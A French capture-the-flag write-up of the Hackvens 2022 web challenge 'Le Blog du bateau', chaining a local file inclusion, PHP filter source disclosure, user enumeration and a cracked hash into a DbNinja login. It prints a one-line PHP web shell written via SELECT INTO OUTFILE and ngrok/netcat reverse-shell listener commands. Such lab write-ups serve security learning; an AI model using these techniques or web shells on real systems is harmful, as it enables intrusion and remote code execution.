Le Blog du bateau - Hackvens 2022

Le Blog du bateau - Hackvens 2022

Web - 100 points

Commençons par nous rendre sur la page d’accueil du site fourni dans l’énoncé (https://blog.hackvens.fr/). Nous arrivons donc sur cette page :

nVM12j8

Au premier coup d’oeil, on remarque que le site est très léger, peu de contenus fournis.

Nous allons donc faire un tour du site pour trouver un élément intéressant.

Page Blog

nVM12j8

Page About

c8k8cJV

Sur la page about, on ne trouve rien d’intéressant. Du côté de la page blog, nous avons 5 articles avec tous le même contenu donc peu intéressant.

Nous remarquons cependant que le format de l’URL pour accéder aux différentes pages suit le modèle suivant :

https://blog.hackvens.fr/?view=nomDeLaPage

Rapidement, on se rend compte qu’une LFI est réalisable ici via le paramètre view :

MWB7QJy

En incluant le fichier robots.txt, on se rend compte qu’un répertoire appelé manager existe.

On a également un wordlist d’Username avec une indication nous informant que ça pourrait être utile.

Une fois sur la page /manager (https://blog.hackvens.fr/manager), on tombe sur ce formulaire de connexion d’un outil appelé DbNinja :

aB2Iwrx

DbNinja est une application web permettant de gérer ses bases de données MySQL.

On vas directement chercher s’il existe des credentials par défaut. On en trouve pas, cependant, on tombe sur une documentation intéressante de DbNinja qui évoque des dossiers _users et _includes

Revenons sur notre LFI.

Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant qu'elles ne soient lues ou écrites. Nous allons donc essayer d’utiliser le filtre de conversion convert.base64-encode afin de convertir le code de la page d’accueil en base64 et de nous l’afficher sans être interprété (étant donné qu’il s’agit d’une page PHP).

H3IPiF3

Le filtre fonctionne sur la page d’accueil. Une fois décodée, elle ne contient rien d’intéressant.

Essayons maintenant sur la page blog.php. Une fois décodée, on tombe directement sur des identifiants.

dGsTQxk

Username : skipper

Password : Sk1pSk1pingSk1pSk1ping

Ces credentials ne fonctionnent pas sur le manager.

Essayons donc d’inclure en base64 la page d’accueil du manager DbNinja.

nGoTahU

m2F8pEQ

On trouve donc quelques éléments peut-être intéressants. On y trouve plusieurs noms de fichiers :

  • _users/{$f}/userdata.php
  • _includes/putes.php
  • _includes/dbninja.php
  • _includes/common.php
  • _includes/auth.php

En incluant le fichier dbninja.php, ça nous retourne la version de l’application, ici 3.2.7.

Nous allons voir plus en détail le fichier userdata.php créé pour chaque utilisateur. Nous avons eu plus haut une courte liste d’utilisateurs. Avec Burp Suite dans l’onglet Intruder, nous avons la possibilité de modifier l’utilisateur à chaque requête afin de voir si un utilisateur existe en fonction de la réponse du site web :

nK05e75

Dans Payload, rentrez la liste d’utilisateurs comme ceci :

QEhBswX

Une fois l’attaque lancée, la grosse majorité des réponses ont une longueur d’environ 2880. Cependant, on a une réponse avec une longueur d’environ 3250 pour l’utilisateur adm.

On va donc décoder la réponse en base64 :

qVzqlxs

On tombe sur quelque chose de très intéressant, ce qui ressemble à un mot de passe chiffré en SHA1.

Une fois déchiffré, on obtient un mot de passe en clair : Supercalifragilisticexpialidocious

On aurait donc un combo adm:Supercalifragilisticexpialidocious.

Le combo fonctionne bien sur le /manager, on tombe donc sur le panel DbNinja

1Gb2oBl

En voulant accéder à la base de données, il nous est demandé de rentrer le mot de passe de l’utilisateur skipper (Sk1pSk1pingSk1pSk1ping) :

YsrPIFf

Une fois le mot de passe entré, on peut afficher la base de données blogDuBateau qui contient la table articles.

Après quelques essais, on se rend compte qu’on ne peut ni UPDATE, ni DELETE…

Malgré ça, en naviguant dans le DbNinja, on a accès au “Query Editor” qui nous permet d'effectuer des commandes SQL.

Après quelques recherches sur Google, on tombe sur cet article. Il nous explique comment à partir d’une requête SQL obtenir un shell. En utilisant la commande suivante, on créera un fichier qui nous permettra d’exécuter des commandes via le paramètre CMD :

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/doubletake.php'

Testons maintenant notre commande :

fAIcEwZ

En parcourant le serveur, on remarque l’emplacement du fichier flag.txt obtenable en exécutant le binaire getflag (utilisable via l’utilisateur skiper suite à la présence de la permission SUID).

HpALLdP

Pour pouvoir l’exécuter, nous devons utiliser un shell TTY. Il faut donc passer sur un reverse shell.

Pour se faire et étant donné que nous ne sommes pas dans le même réseau que le serveur, nous allons utiliser NGrok :

sudo ngrok tcp 1234

nc -lvnp 1234

Sur le site web, nous avons accès au binaire /bin/nc donc on exécute facilement notre requête :

C1H99kc

imRQD5r

Notre reverse shell est fonctionnel. Il nous reste simplement à exécuter le binaire getflag pour afficher le ficher flag.txt :

2P52JBp

Merci de votre lecture :)